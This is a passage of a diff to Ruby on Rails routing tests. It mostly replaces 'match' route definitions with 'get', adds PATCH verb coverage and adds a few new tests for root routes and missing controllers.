     assert_equal({:controller => "content", :action => 'list'},  rs.recognize_path("/content/list"))
     assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/content/show/10"))
@@ -115,52 +298,22 @@ class LegacyRouteSetTests < Test::Unit::TestCase
   end
 
   def test_ignores_leading_slash
-    @rs.clear!
-    @rs.draw { match '/:controller(/:action(/:id))'}
+    rs.clear!
+    rs.draw { get '/:controller(/:action(/:id))'}
     test_default_setup
   end
 
-  def test_time_recognition
-    # We create many routes to make situation more realistic
-    @rs = ::ActionDispatch::Routing::RouteSet.new
-    @rs.draw {
-      root :to => "search#new", :as => "frontpage"
-      resources :videos do
-        resources :comments
-        resource  :file,      :controller => 'video_file'
-        resource  :share,     :controller => 'video_shares'
-        resource  :abuse,     :controller => 'video_abuses'
-      end
-      resources :abuses, :controller => 'video_abuses'
-      resources :video_uploads
-      resources :video_visits
-
-      resources :users do
-        resource  :settings
-        resources :videos
-      end
-      resources :channels do
-        resources :videos, :controller => 'channel_videos'
-      end
-      resource  :session
-      resource  :lost_password
-      match 'search' => 'search#index', :as => 'search'
-      resources :pages
-      match ':controller/:action/:id'
-    }
-  end
-
   def test_route_with_colon_first
     rs.draw do
-      match '/:controller/:action/:id', :action => 'index', :id => nil
-      match ':url', :controller => 'tiny_url', :action => 'translate'
+      get '/:controller/:action/:id', :action => 'index', :id => nil
+      get ':url', :controller => 'tiny_url', :action => 'translate'
     end
   end
 
   def test_route_with_regexp_for_controller
     rs.draw do
-      match ':controller/:admintoken(/:action(/:id))', :controller => /admin\/.+/
-      match '/:controller(/:action(/:id))'
+      get ':controller/:admintoken(/:action(/:id))', :controller => /admin\/.+/
+      get '/:controller(/:action(/:id))'
     end
 
     assert_equal({:controller => "admin/user", :admintoken => "foo", :action => "index"},
@@ -174,7 +327,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_route_with_regexp_and_captures_for_controller
     rs.draw do
-      match '/:controller(/:action(/:id))', :controller => /admin\/(accounts|users)/
+      get '/:controller(/:action(/:id))', :controller => /admin\/(accounts|users)/
     end
     assert_equal({:controller => "admin/accounts", :action => "index"}, rs.recognize_path("/admin/accounts"))
     assert_equal({:controller => "admin/users", :action => "index"}, rs.recognize_path("/admin/users"))
@@ -183,7 +336,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_route_with_regexp_and_dot
     rs.draw do
-      match ':controller/:action/:file',
+      get ':controller/:action/:file',
                 :controller => /admin|user/,
                 :action => /upload|download/,
                 :defaults => {:file => nil},
@@ -213,7 +366,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_named_route_with_option
     rs.draw do
-      match 'page/:title' => 'content#show_page', :as => 'page'
+      get 'page/:title' => 'content#show_page', :as => 'page'
     end
 
     assert_equal("http://test.host/page/new%20stuff",
@@ -222,7 +375,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_named_route_with_default
     rs.draw do
-      match 'page/:title' => 'content#show_page', :title => 'AboutPage', :as => 'page'
+      get 'page/:title' => 'content#show_page', :title => 'AboutPage', :as => 'page'
     end
 
     assert_equal("http://test.host/page/AboutRails",
@@ -232,7 +385,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
   def test_named_route_with_path_prefix
     rs.draw do
       scope "my" do
-        match 'page' => 'content#show_page', :as => 'page'
+        get 'page' => 'content#show_page', :as => 'page'
       end
     end
 
@@ -243,7 +396,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
   def test_named_route_with_blank_path_prefix
     rs.draw do
       scope "" do
-        match 'page' => 'content#show_page', :as => 'page'
+        get 'page' => 'content#show_page', :as => 'page'
       end
     end
 
@@ -253,7 +406,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_named_route_with_nested_controller
     rs.draw do
-      match 'admin/user' => 'admin/user#index', :as => "users"
+      get 'admin/user' => 'admin/user#index', :as => "users"
     end
 
     assert_equal("http://test.host/admin/user",
@@ -262,7 +415,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_optimised_named_route_with_host
     rs.draw do
-      match 'page' => 'content#show_page', :as => 'pages', :host => 'foo.com'
+      get 'page' => 'content#show_page', :as => 'pages', :host => 'foo.com'
     end
     routes = setup_for_named_route
     routes.expects(:url_for).with({
@@ -281,7 +434,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_named_route_without_hash
     rs.draw do
-      match ':controller/:action/:id', :as => 'normal'
+      get ':controller/:action/:id', :as => 'normal'
     end
   end
 
@@ -294,11 +447,20 @@ class LegacyRouteSetTests < Test::Unit::TestCase
     assert_equal("/", routes.send(:root_path))
   end
 
+  def test_named_route_root_without_hash
+    rs.draw do
+      root "hello#index"
+    end
+    routes = setup_for_named_route
+    assert_equal("http://test.host/", routes.send(:root_url))
+    assert_equal("/", routes.send(:root_path))
+  end
+
   def test_named_route_with_regexps
     rs.draw do
-      match 'page/:year/:month/:day/:title' => 'page#show', :as => 'article',
+      get 'page/:year/:month/:day/:title' => 'page#show', :as => 'article',
         :year => /\d+/, :month => /\d+/, :day => /\d+/
-      match ':controller/:action/:id'
+      get ':controller/:action/:id'
     end
 
     routes = setup_for_named_route
@@ -308,7 +470,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
   end
 
   def test_changing_controller
-    @rs.draw { match ':controller/:action/:id' }
+    rs.draw { get ':controller/:action/:id' }
 
     assert_equal '/admin/stuff/show/10',
         url_for(rs, {:controller => 'stuff', :action => 'show', :id => 10},
@@ -317,8 +479,8 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_paths_escaped
     rs.draw do
-      match 'file/*path' => 'content#show_file', :as => 'path'
-      match ':controller/:action/:id'
+      get 'file/*path' => 'content#show_file', :as => 'path'
+      get ':controller/:action/:id'
     end
 
     # No + to space in URI escaping, only for query params.
@@ -334,7 +496,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_paths_slashes_unescaped_with_ordered_parameters
     rs.draw do
-      match '/file/*path' => 'content#index', :as => 'path'
+      get '/file/*path' => 'content#index', :as => 'path'
     end
 
     # No / to %2F in URI, only for query params.
@@ -343,14 +505,14 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_non_controllers_cannot_be_matched
     rs.draw do
-      match ':controller/:action/:id'
+      get ':controller/:action/:id'
     end
     assert_raise(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") }
   end
 
   def test_should_list_options_diff_when_routing_constraints_dont_match
     rs.draw do
-      match 'post/:id' => 'post#show', :constraints => { :id => /\d+/ }, :as => 'post'
+      get 'post/:id' => 'post#show', :constraints => { :id => /\d+/ }, :as => 'post'
     end
     assert_raise(ActionController::RoutingError) do
       url_for(rs, { :controller => 'post', :action => 'show', :bad_param => "foo", :use_route => "post" })
@@ -359,7 +521,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_dynamic_path_allowed
     rs.draw do
-      match '*path' => 'content#show_file'
+      get '*path' => 'content#show_file'
     end
 
     assert_equal '/pages/boo',
@@ -368,7 +530,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_dynamic_recall_paths_allowed
     rs.draw do
-      match '*path' => 'content#show_file'
+      get '*path' => 'content#show_file'
     end
 
     assert_equal '/pages/boo',
@@ -377,8 +539,8 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_backwards
     rs.draw do
-      match 'page/:id(/:action)' => 'pages#show'
-      match ':controller(/:action(/:id))'
+      get 'page/:id(/:action)' => 'pages#show'
+      get ':controller(/:action(/:id))'
     end
 
     assert_equal '/page/20',   url_for(rs, { :id => 20 }, { :controller => 'pages', :action => 'show' })
@@ -388,8 +550,8 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_route_with_fixnum_default
     rs.draw do
-      match 'page(/:id)' => 'content#show_page', :id => 1
-      match ':controller/:action/:id'
+      get 'page(/:id)' => 'content#show_page', :id => 1
+      get ':controller/:action/:id'
     end
 
     assert_equal '/page',    url_for(rs, { :controller => 'content', :action => 'show_page' })
@@ -405,15 +567,15 @@ class LegacyRouteSetTests < Test::Unit::TestCase
   # For newer revision
   def test_route_with_text_default
     rs.draw do
-      match 'page/:id' => 'content#show_page', :id => 1
-      match ':controller/:action/:id'
+      get 'page/:id' => 'content#show_page', :id => 1
+      get ':controller/:action/:id'
     end
 
     assert_equal '/page/foo', url_for(rs, { :controller => 'content', :action => 'show_page', :id => 'foo' })
     assert_equal({ :controller => "content", :action => 'show_page', :id => 'foo' }, rs.recognize_path("/page/foo"))
 
     token = "\321\202\320\265\320\272\321\201\321\202" # 'text' in Russian
-    token.force_encoding(Encoding::BINARY) if token.respond_to?(:force_encoding)
+    token.force_encoding(Encoding::BINARY)
     escaped_token = CGI::escape(token)
 
     assert_equal '/page/' + escaped_token, url_for(rs, { :controller => 'content', :action => 'show_page', :id => token })
@@ -421,13 +583,13 @@ class LegacyRouteSetTests < Test::Unit::TestCase
   end
 
   def test_action_expiry
-    @rs.draw { match ':controller(/:action(/:id))' }
+    rs.draw { get ':controller(/:action(/:id))' }
     assert_equal '/content', url_for(rs, { :controller => 'content' }, { :controller => 'content', :action => 'show' })
   end
 
   def test_requirement_should_prevent_optional_id
     rs.draw do
-      match 'post/:id' => 'post#show', :constraints => {:id => /\d+/}, :as => 'post'
+      get 'post/:id' => 'post#show', :constraints => {:id => /\d+/}, :as => 'post'
     end
 
     assert_equal '/post/10', url_for(rs, { :controller => 'post', :action => 'show', :id => 10 })
@@ -439,11 +601,11 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_both_requirement_and_optional
     rs.draw do
-      match('test(/:year)' => 'post#show', :as => 'blog',
+      get('test(/:year)' => 'post#show', :as => 'blog',
         :defaults => { :year => nil },
         :constraints => { :year => /\d{4}/ }
       )
-      match ':controller/:action/:id'
+      get ':controller/:action/:id'
     end
 
     assert_equal '/test', url_for(rs, { :controller => 'post', :action => 'show' })
@@ -454,8 +616,8 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_set_to_nil_forgets
     rs.draw do
-      match 'pages(/:year(/:month(/:day)))' => 'content#list_pages', :month => nil, :day => nil
-      match ':controller/:action/:id'
+      get 'pages(/:year(/:month(/:day)))' => 'content#list_pages', :month => nil, :day => nil
+      get ':controller/:action/:id'
     end
 
     assert_equal '/pages/2005',
@@ -497,8 +659,8 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_named_route_method
     rs.draw do
-      match 'categories' => 'content#categories', :as => 'categories'
-      match ':controller(/:action(/:id))'
+      get 'categories' => 'content#categories', :as => 'categories'
+      get ':controller(/:action(/:id))'
     end
 
     assert_equal '/categories', url_for(rs, { :controller => 'content', :action => 'categories' })
@@ -512,9 +674,9 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_nil_defaults
     rs.draw do
-      match 'journal' => 'content#list_journal',
+      get 'journal' => 'content#list_journal',
         :date => nil, :user_id => nil
-      match ':controller/:action/:id'
+      get ':controller/:action/:id'
     end
 
     assert_equal '/journal', url_for(rs, {
@@ -530,11 +692,12 @@ class LegacyRouteSetTests < Test::Unit::TestCase
       match '/match' => 'books#get', :via => :get
       match '/match' => 'books#post', :via => :post
       match '/match' => 'books#put', :via => :put
+      match '/match' => 'books#patch', :via => :patch
       match '/match' => 'books#delete', :via => :delete
     end
   end
 
-  %w(GET POST PUT DELETE).each do |request_method|
+  %w(GET PATCH POST PUT DELETE).each do |request_method|
     define_method("test_request_method_recognized_with_#{request_method}") do
       setup_request_method_routes_for(request_method)
       params = rs.recognize_path("/match", :method => request_method)
@@ -545,7 +708,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
   def test_recognize_array_of_methods
     rs.draw do
       match '/match' => 'books#get_or_post', :via => [:get, :post]
-      match '/match' => 'books#not_get_or_post'
+      put '/match' => 'books#not_get_or_post'
     end
 
     params = rs.recognize_path("/match", :method => :post)
@@ -557,10 +720,10 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_subpath_recognized
     rs.draw do
-      match '/books/:id/edit'    => 'subpath_books#edit'
-      match '/items/:id/:action' => 'subpath_books'
-      match '/posts/new/:action' => 'subpath_books'
-      match '/posts/:id'         => 'subpath_books#show'
+      get '/books/:id/edit'    => 'subpath_books#edit'
+      get '/items/:id/:action' => 'subpath_books'
+      get '/posts/new/:action' => 'subpath_books'
+      get '/posts/:id'         => 'subpath_books#show'
     end
 
     hash = rs.recognize_path "/books/17/edit"
@@ -582,9 +745,9 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_subpath_generated
     rs.draw do
-      match '/books/:id/edit'    => 'subpath_books#edit'
-      match '/items/:id/:action' => 'subpath_books'
-      match '/posts/new/:action' => 'subpath_books'
+      get '/books/:id/edit'    => 'subpath_books#edit'
+      get '/items/:id/:action' => 'subpath_books'
+      get '/posts/new/:action' => 'subpath_books'
     end
 
     assert_equal "/books/7/edit",      url_for(rs, { :controller => "subpath_books", :id => 7, :action => "edit" })
@@ -594,7 +757,7 @@ class LegacyRouteSetTests < Test::Unit::TestCase
 
   def test_failed_constraints_raises_exception_with_violated_constraints
     rs.draw do
-      match 'foos/:id' => 'foos#show', :as => 'foo_with_requirement', :constraints => { :id => /\d+/ }
+      get 'foos/:id' => 'foos#show', :as => 'foo_with_requirement', :constraints => { :id => /\d+/ }
     end
 
     assert_raise(ActionController::RoutingError) do
@@ -605,11 +768,11 @@ class LegacyRouteSetTests < Test::Unit::TestCase
   def test_routes_changed_correctly_after_clear
     rs = ::ActionDispatch::Routing::RouteSet.new
     rs.draw do
-      match 'ca' => 'ca#aa'
-      match 'cb' => 'cb#ab'
-      match 'cc' => 'cc#ac'
-      match ':controller/:action/:id'
-      match ':controller/:action/:id.:format'
+      get 'ca' => 'ca#aa'
+      get 'cb' => 'cb#ab'
+      get 'cc' => 'cc#ac'
+      get ':controller/:action/:id'
+      get ':controller/:action/:id.:format'
     end
 
     hash = rs.recognize_path "/cc"
@@ -618,10 +781,10 @@ class LegacyRouteSetTests < Test::Unit::TestCase
     assert_equal %w(cc ac), [hash[:controller], hash[:action]]
 
     rs.draw do
-      match 'cb' => 'cb#ab'
-      match 'cc' => 'cc#ac'
-      match ':controller/:action/:id'
-      match ':controller/:action/:id.:format'
+      get 'cb' => 'cb#ab'
+      get 'cc' => 'cc#ac'
+      get ':controller/:action/:id'
+      get ':controller/:action/:id.:format'
     end
 
     hash = rs.recognize_path "/cc"
@@ -646,29 +809,29 @@ class RouteSetTest < ActiveSupport::TestCase
     @default_route_set ||= begin
       set = ROUTING::RouteSet.new
       set.draw do
-        match '/:controller(/:action(/:id))'
+        get '/:controller(/:action(/:id))'
       end
       set
     end
   end
 
   def test_generate_extras
-    set.draw { match ':controller/(:action(/:id))' }
+    set.draw { get ':controller/(:action(/:id))' }
     path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
     assert_equal "/foo/bar/15", path
     assert_equal %w(that this), extras.map { |e| e.to_s }.sort
   end
 
   def test_extra_keys
-    set.draw { match ':controller/:action/:id' }
+    set.draw { get ':controller/:action/:id' }
     extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
     assert_equal %w(that this), extras.map { |e| e.to_s }.sort
   end
 
   def test_generate_extras_not_first
     set.draw do
-      match ':controller/:action/:id.:format'
-      match ':controller/:action/:id'
+      get ':controller/:action/:id.:format'
+      get ':controller/:action/:id'
     end
     path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
     assert_equal "/foo/bar/15", path
@@ -677,8 +840,8 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_generate_not_first
     set.draw do
-      match ':controller/:action/:id.:format'
-      match ':controller/:action/:id'
+      get ':controller/:action/:id.:format'
+      get ':controller/:action/:id'
     end
     assert_equal "/foo/bar/15?this=hello",
         url_for(set, { :controller => "foo", :action => "bar", :id => 15, :this => "hello" })
@@ -686,8 +849,8 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_extra_keys_not_first
     set.draw do
-      match ':controller/:action/:id.:format'
-      match ':controller/:action/:id'
+      get ':controller/:action/:id.:format'
+      get ':controller/:action/:id'
     end
     extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
     assert_equal %w(that this), extras.map { |e| e.to_s }.sort
@@ -696,7 +859,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_draw
     assert_equal 0, set.routes.size
     set.draw do
-      match '/hello/world' => 'a#b'
+      get '/hello/world' => 'a#b'
     end
     assert_equal 1, set.routes.size
   end
@@ -704,7 +867,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_draw_symbol_controller_name
     assert_equal 0, set.routes.size
     set.draw do
-      match '/users/index' => 'users#index'
+      get '/users/index' => 'users#index'
     end
     set.recognize_path('/users/index', :method => :get)
     assert_equal 1, set.routes.size
@@ -713,48 +876,31 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_named_draw
     assert_equal 0, set.routes.size
     set.draw do
-      match '/hello/world' => 'a#b', :as => 'hello'
+      get '/hello/world' => 'a#b', :as => 'hello'
     end
     assert_equal 1, set.routes.size
     assert_equal set.routes.first, set.named_routes[:hello]
   end
 
-  def test_later_named_routes_take_precedence
+  def test_earlier_named_routes_take_precedence
     set.draw do
-      match '/hello/world' => 'a#b', :as => 'hello'
-      match '/hello'       => 'a#b', :as => 'hello'
+      get '/hello/world' => 'a#b', :as => 'hello'
+      get '/hello'       => 'a#b', :as => 'hello'
     end
-    assert_equal set.routes.last, set.named_routes[:hello]
+    assert_equal set.routes.first, set.named_routes[:hello]
   end
 
   def setup_named_route_test
     set.draw do
-      match '/people(/:id)' => 'people#show', :as => 'show'
-      match '/people' => 'people#index', :as => 'index'
-      match '/people/go/:foo/:bar/joe(/:id)' => 'people#multi', :as => 'multi'
-      match '/admin/users' => 'admin/users#index', :as => "users"
+      get '/people(/:id)' => 'people#show', :as => 'show'
+      get '/people' => 'people#index', :as => 'index'
+      get '/people/go/:foo/:bar/joe(/:id)' => 'people#multi', :as => 'multi'
+      get '/admin/users' => 'admin/users#index', :as => "users"
     end
 
     MockController.build(set.url_helpers).new
   end
 
-  def test_named_route_hash_access_method
-    controller = setup_named_route_test
-
-    assert_equal(
-      { :controller => 'people', :action => 'show', :id => 5, :use_route => "show", :only_path => false },
-      controller.send(:hash_for_show_url, :id => 5))
-
-    assert_equal(
-      { :controller => 'people', :action => 'index', :use_route => "index", :only_path => false },
-      controller.send(:hash_for_index_url))
-
-    assert_equal(
-      { :controller => 'people', :action => 'show', :id => 5, :use_route => "show", :only_path => true },
-      controller.send(:hash_for_show_path, :id => 5)
-    )
-  end
-
   def test_named_route_url_method
     controller = setup_named_route_test
 
@@ -766,7 +912,6 @@ class RouteSetTest < ActiveSupport::TestCase
 
     assert_equal "http://test.host/admin/users", controller.send(:users_url)
     assert_equal '/admin/users', controller.send(:users_path)
-    assert_equal '/admin/users', url_for(set, controller.send(:hash_for_users_url), { :controller => 'users', :action => 'index' })
   end
 
   def test_named_route_url_method_with_anchor
@@ -832,7 +977,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_draw_default_route
     set.draw do
-      match '/:controller/:action/:id'
+      get '/:controller/:action/:id'
     end
 
     assert_equal 1, set.routes.size
@@ -846,8 +991,8 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_route_with_parameter_shell
     set.draw do
-      match 'page/:id' => 'pages#show', :id => /\d+/
-      match '/:controller(/:action(/:id))'
+      get 'page/:id' => 'pages#show', :id => /\d+/
+      get '/:controller(/:action(/:id))'
     end
 
     assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
@@ -861,7 +1006,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_route_constraints_on_request_object_with_anchors_are_valid
     assert_nothing_raised do
       set.draw do
-        match 'page/:id' => 'pages#show', :constraints => { :host => /^foo$/ }
+        get 'page/:id' => 'pages#show', :constraints => { :host => /^foo$/ }
       end
     end
   end
@@ -869,27 +1014,27 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_route_constraints_with_anchor_chars_are_invalid
     assert_raise ArgumentError do
       set.draw do
-        match 'page/:id' => 'pages#show', :id => /^\d+/
+        get 'page/:id' => 'pages#show', :id => /^\d+/
       end
     end
     assert_raise ArgumentError do
       set.draw do
-        match 'page/:id' => 'pages#show', :id => /\A\d+/
+        get 'page/:id' => 'pages#show', :id => /\A\d+/
       end
     end
     assert_raise ArgumentError do
       set.draw do
-        match 'page/:id' => 'pages#show', :id => /\d+$/
+        get 'page/:id' => 'pages#show', :id => /\d+$/
       end
     end
     assert_raise ArgumentError do
       set.draw do
-        match 'page/:id' => 'pages#show', :id => /\d+\Z/
+        get 'page/:id' => 'pages#show', :id => /\d+\Z/
       end
     end
     assert_raise ArgumentError do
       set.draw do
-        match 'page/:id' => 'pages#show', :id => /\d+\z/
+        get 'page/:id' => 'pages#show', :id => /\d+\z/
       end
     end
   end
@@ -902,9 +1047,19 @@ class RouteSetTest < ActiveSupport::TestCase
     end
   end
 
+  def test_route_error_with_missing_controller
+    set.draw do
+      get    "/people" => "missing#index"
+    end
+    
+    assert_raise(ActionController::RoutingError) {
+      set.recognize_path("/people", :method => :get)
+    }
+  end
+
   def test_recognize_with_encoded_id_and_regex
     set.draw do
-      match 'page/:id' => 'pages#show', :id => /[a-zA-Z0-9\+]+/
+      get 'page/:id' => 'pages#show', :id => /[a-zA-Z0-9\+]+/
     end
 
     assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
@@ -917,6 +1072,7 @@ class RouteSetTest < ActiveSupport::TestCase
       post   "/people"     => "people#create"
       get    "/people/:id" => "people#show",  :as => "person"
       put    "/people/:id" => "people#update"
+      patch  "/people/:id" => "people#update"
       delete "/people/:id" => "people#destroy"
     end
 
@@ -929,6 +1085,9 @@ class RouteSetTest < ActiveSupport::TestCase
     params = set.recognize_path("/people/5", :method => :put)
     assert_equal("update", params[:action])
 
+    params = set.recognize_path("/people/5", :method => :patch)
+    assert_equal("update", params[:action])
+
     assert_raise(ActionController::UnknownHttpMethod) {
       set.recognize_path("/people", :method => :bacon)
     }
@@ -941,6 +1100,10 @@ class RouteSetTest < ActiveSupport::TestCase
     assert_equal("update", params[:action])
     assert_equal("5", params[:id])
 
+    params = set.recognize_path("/people/5", :method => :patch)
+    assert_equal("update", params[:action])
+    assert_equal("5", params[:id])
+
     params = set.recognize_path("/people/5", :method => :delete)
     assert_equal("destroy", params[:action])
     assert_equal("5", params[:id])
@@ -967,7 +1130,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_typo_recognition
     set.draw do
-      match 'articles/:year/:month/:day/:title' => 'articles#permalink',
+      get 'articles/:year/:month/:day/:title' => 'articles#permalink',
              :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
     end
 
@@ -982,7 +1145,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_routing_traversal_does_not_load_extra_classes
     assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
     set.draw do
-      match '/profile' => 'profile#index'
+      get '/profile' => 'profile#index'
     end
 
     set.recognize_path("/profile") rescue nil
@@ -994,6 +1157,7 @@ class RouteSetTest < ActiveSupport::TestCase
     set.draw do
       get "people/:id" => "people#show", :as => "person"
       put "people/:id" => "people#update"
+      patch "people/:id" => "people#update"
       get "people/:id(.:format)" => "people#show"
     end
 
@@ -1004,6 +1168,9 @@ class RouteSetTest < ActiveSupport::TestCase
     params = set.recognize_path("/people/5", :method => :put)
     assert_equal("update", params[:action])
 
+    params = set.recognize_path("/people/5", :method => :patch)
+    assert_equal("update", params[:action])
+
     params = set.recognize_path("/people/5.png", :method => :get)
     assert_equal("show", params[:action])
     assert_equal("5", params[:id])
@@ -1012,8 +1179,8 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_generate_with_default_action
     set.draw do
-      match "/people", :controller => "people", :action => "index"
-      match "/people/list", :controller => "people", :action => "list"
+      get "/people", :controller => "people", :action => "index"
+      get "/people/list", :controller => "people", :action => "list"
     end
 
     url = url_for(set, { :controller => "people", :action => "list" })
@@ -1032,7 +1199,7 @@ class RouteSetTest < ActiveSupport::TestCase
     set.draw do
 
       namespace 'api' do
-        match 'inventory' => 'products#inventory'
+        get 'inventory' => 'products#inventory'
       end
 
     end
@@ -1057,7 +1224,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_namespace_with_path_prefix
     set.draw do
       scope :module => "api", :path => "prefix" do
-        match 'inventory' => 'products#inventory'
+        get 'inventory' => 'products#inventory'
       end
     end
 
@@ -1069,7 +1236,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_namespace_with_blank_path_prefix
     set.draw do
       scope :module => "api", :path => "" do
-        match 'inventory' => 'products#inventory'
+        get 'inventory' => 'products#inventory'
       end
     end
 
@@ -1079,7 +1246,7 @@ class RouteSetTest < ActiveSupport::TestCase
   end
 
   def test_generate_changes_controller_module
-    set.draw { match ':controller/:action/:id' }
+    set.draw { get ':controller/:action/:id' }
     current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
 
     assert_equal "/foo/bar/baz/7",
@@ -1088,7 +1255,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_id_is_sticky_when_it_ought_to_be
     set.draw do
-      match ':controller/:id/:action'
+      get ':controller/:id/:action'
     end
 
     url = url_for(set, { :action => "destroy" }, { :controller => "people", :action => "show", :id => "7" })
@@ -1097,8 +1264,8 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_use_static_path_when_possible
     set.draw do
-      match 'about' => "welcome#about"
-      match ':controller/:action/:id'
+      get 'about' => "welcome#about"
+      get ':controller/:action/:id'
     end
 
     url = url_for(set, { :controller => "welcome", :action => "about" },
@@ -1108,7 +1275,7 @@ class RouteSetTest < ActiveSupport::TestCase
   end
 
   def test_generate
-    set.draw { match ':controller/:action/:id' }
+    set.draw { get ':controller/:action/:id' }
 
     args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
     assert_equal "/foo/bar/7?x=y",     url_for(set, args)
@@ -1119,7 +1286,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_generate_with_path_prefix
     set.draw do
       scope "my" do
-        match ':controller(/:action(/:id))'
+        get ':controller(/:action(/:id))'
       end
     end
 
@@ -1130,7 +1297,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_generate_with_blank_path_prefix
     set.draw do
       scope "" do
-        match ':controller(/:action(/:id))'
+        get ':controller(/:action(/:id))'
       end
     end
 
@@ -1140,9 +1307,9 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_named_routes_are_never_relative_to_modules
     set.draw do
-      match "/connection/manage(/:action)" => 'connection/manage#index'
-      match "/connection/connection" => "connection/connection#index"
-      match '/connection' => 'connection#index', :as => 'family_connection'
+      get "/connection/manage(/:action)" => 'connection/manage#index'
+      get "/connection/connection" => "connection/connection#index"
+      get '/connection' => 'connection#index', :as => 'family_connection'
     end
 
     url = url_for(set, { :controller => "connection" }, { :controller => 'connection/manage' })
@@ -1154,7 +1321,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_action_left_off_when_id_is_recalled
     set.draw do
-      match ':controller(/:action(/:id))'
+      get ':controller(/:action(/:id))'
     end
     assert_equal '/books', url_for(set,
       {:controller => 'books', :action => 'index'},
@@ -1164,8 +1331,8 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_query_params_will_be_shown_when_recalled
     set.draw do
-      match 'show_weblog/:parameter' => 'weblog#show'
-      match ':controller(/:action(/:id))'
+      get 'show_weblog/:parameter' => 'weblog#show'
+      get ':controller(/:action(/:id))'
     end
     assert_equal '/weblog/edit?parameter=1', url_for(set,
       {:action => 'edit', :parameter => 1},
@@ -1175,7 +1342,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_format_is_not_inherit
     set.draw do
-      match '/posts(.:format)' => 'posts#index'
+      get '/posts(.:format)' => 'posts#index'
     end
 
     assert_equal '/posts', url_for(set,
@@ -1190,7 +1357,7 @@ class RouteSetTest < ActiveSupport::TestCase
   end
 
   def test_expiry_determination_should_consider_values_with_to_param
-    set.draw { match 'projects/:project_id/:controller/:action' }
+    set.draw { get 'projects/:project_id/:controller/:action' }
     assert_equal '/projects/1/weblog/show', url_for(set,
       { :action => 'show', :project_id => 1 },
       { :controller => 'weblog', :action => 'show', :project_id => '1' })
@@ -1200,7 +1367,7 @@ class RouteSetTest < ActiveSupport::TestCase
     set.draw do
       resources :projects do
         member do
-          match 'milestones' => 'milestones#index', :as => 'milestones'
+          get 'milestones' => 'milestones#index', :as => 'milestones'
         end
       end
     end
@@ -1233,7 +1400,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_route_constraints_with_unsupported_regexp_options_must_error
     assert_raise ArgumentError do
       set.draw do
-        match 'page/:name' => 'pages#show',
+        get 'page/:name' => 'pages#show',
           :constraints => { :name => /(david|jamis)/m }
       end
     end
@@ -1242,13 +1409,13 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_route_constraints_with_supported_options_must_not_error
     assert_nothing_raised do
       set.draw do
-        match 'page/:name' => 'pages#show',
+        get 'page/:name' => 'pages#show',
           :constraints => { :name => /(david|jamis)/i }
       end
     end
     assert_nothing_raised do
       set.draw do
-        match 'page/:name' => 'pages#show',
+        get 'page/:name' => 'pages#show',
           :constraints => { :name => / # Desperately overcommented regexp
                                       ( #Either
                                        david #The Creator
@@ -1259,9 +1426,22 @@ class RouteSetTest < ActiveSupport::TestCase
     end
   end
 
+  def test_route_with_subdomain_and_constraints_must_receive_params
+    name_param = nil
+    set.draw do
